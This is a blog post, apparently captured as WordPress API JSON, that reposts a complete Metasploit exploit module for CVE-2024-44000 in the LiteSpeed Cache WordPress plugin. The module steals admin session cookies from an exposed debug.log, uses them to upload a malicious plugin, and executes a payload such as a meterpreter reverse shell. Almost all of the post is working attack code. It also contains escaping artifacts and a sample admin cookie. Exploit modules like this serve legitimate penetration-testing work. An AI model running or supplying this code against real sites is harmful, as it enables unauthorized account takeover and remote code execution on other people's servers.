##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
class DebugLogError < StandardError; end
class WordPressNotOnline < StandardError; end
class AdminCookieError < StandardError; end<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Wordpress LiteSpeed Cache plugin cookie theft’,
‘Description’ => %q{
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin
that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when
the Debug Logging feature is enabled, the plugin will log admin cookies to the \/wp-content\/debug.log endpoint
which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.
The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.
},
‘Author’ => [
‘Rafie Muhammad’, # discovery
‘jheysel-r7’ # module
],
‘References’ => [
[ ‘URL’, ‘https:\/\/patchstack.com\/articles\/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin\/’],
[ ‘CVE’, ‘2024-44000’]],
‘License’ => MSF_LICENSE,
‘Privileged’ => false,
‘Platform’ => [‘unix’, ‘linux’, ‘win’, ‘php’],
‘Arch’ => [ARCH_PHP, ARCH_CMD],
‘Targets’ => [
[
‘PHP In-Memory’,
{
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP
# tested with php\/meterpreter\/reverse_tcp
}
],
[
‘Unix In-Memory’,
{
‘Platform’ => [‘unix’, ‘linux’],
‘Arch’ => ARCH_CMD
# tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp
}
],
[
‘Windows In-Memory’,
{
‘Platform’ => ‘win’,
‘Arch’ => ARCH_CMD
}
],
],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2024-09-04’,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE, ],
‘SideEffects’ => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
‘Reliability’ => [ REPEATABLE_SESSION, ]}
)
)
end<\/p>\n
def check
@admin_cookie = get_valid_admin_cookie
CheckCode::Vulnerable(‘Found and tested valid admin cookie, we can upload and execute a payload’)
rescue WordPressNotOnline => e
return CheckCode::Unknown(“This doesn’t appear to be a WordPress site: #{e.class}, #{e}”)
rescue DebugLogError => e
return CheckCode::Safe(“#{e.class}, #{e}”)
rescue AdminCookieError => e
return CheckCode::Safe(“#{e.class}, #{e}”)
end<\/p>\n
def extract_cookies(debug_log)
admin_cookies = []debug_log.each_line do |log_line|
# 09\/13\/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c
match = log_line.match(\/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)\/)
admin_cookies << match.captures.compact.join(‘; ‘) if match
end
admin_cookies
end<\/p>\n
def verify_admin_cookie(admin_cookies)
admin_cookies.each do |admin_cookie|
res = send_request_cgi({
‘uri’ => ‘\/wp-admin\/’,
‘cookie’ => admin_cookie
})
return admin_cookie if res&.code == 200
end<\/p>\n
nil
end<\/p>\n
def get_valid_admin_cookie
raise WordPressNotOnline unless wordpress_and_online?<\/p>\n
res = send_request_cgi({
‘uri’ => normalize_uri(‘wp-content’, ‘debug.log’),
‘method’ => ‘GET’
})
raise DebugLogError, ‘There was no \/wp-content\/debug.log endpoint found on the target to pillage’ unless res&.code == 200
raise DebugLogError, ‘There were no cookies found inside \/wp-content\/debug.log’ unless res.body.include?(‘wordpress_logged_in’)<\/p>\n
admin_cookies = extract_cookies(res.body)
raise AdminCookieError, ‘No admin cookies could be found in debug.log’ if admin_cookies.blank?<\/p>\n
print_status(‘One or more potential admin cookies were found’)<\/p>\n
admin_cookie = verify_admin_cookie(admin_cookies)
raise AdminCookieError, ‘Admin cookies were found but are invalid’ unless admin_cookie<\/p>\n
admin_cookie
end<\/p>\n
def exploit
unless @admin_cookie
begin
@admin_cookie = get_valid_admin_cookie
print_good(‘Found and tested valid admin cookie, we can upload and execute a payload’)
rescue WordPressNotOnline => e
fail_with(Failure::NotFound, “#{e.class}, #{e}”)
rescue DebugLogError, AdminCookieError => e
fail_with(Failure::UnexpectedReply, “#{e.class}, #{e}”)
end
end<\/p>\n
print_status(‘Preparing payload…’)
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = Rex::Text.rand_text_alpha(10).to_s
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, “#{payload_name}.php”)
zip = generate_plugin(plugin_name, payload_name)<\/p>\n
print_status(‘Uploading payload…’)<\/p>\n
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)
fail_with(Failure::UnexpectedReply, ‘Failed to upload the payload’) unless uploaded<\/p>\n
print_status(“Executing the payload at #{payload_uri}…”)
register_files_for_cleanup(“#{payload_name}.php”, “#{plugin_name}.php”)
register_dir_for_cleanup(“..\/#{plugin_name}”)
send_request_cgi({ ‘uri’ => payload_uri, ‘method’ => ‘GET’ })
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck class DebugLogError < StandardError; endclass WordPressNotOnline < StandardError; endclass AdminCookieError < StandardError; end def initialize(info = {})super(update_info(info,‘Name’ => ‘Wordpress LiteSpeed Cache plugin cookie theft’,‘Description’ => %q{This module exploits an unauthenticated account takeover vulnerability in LiteSpeed …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59748","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59748","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59748"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59748\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59748"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59748"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59748"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}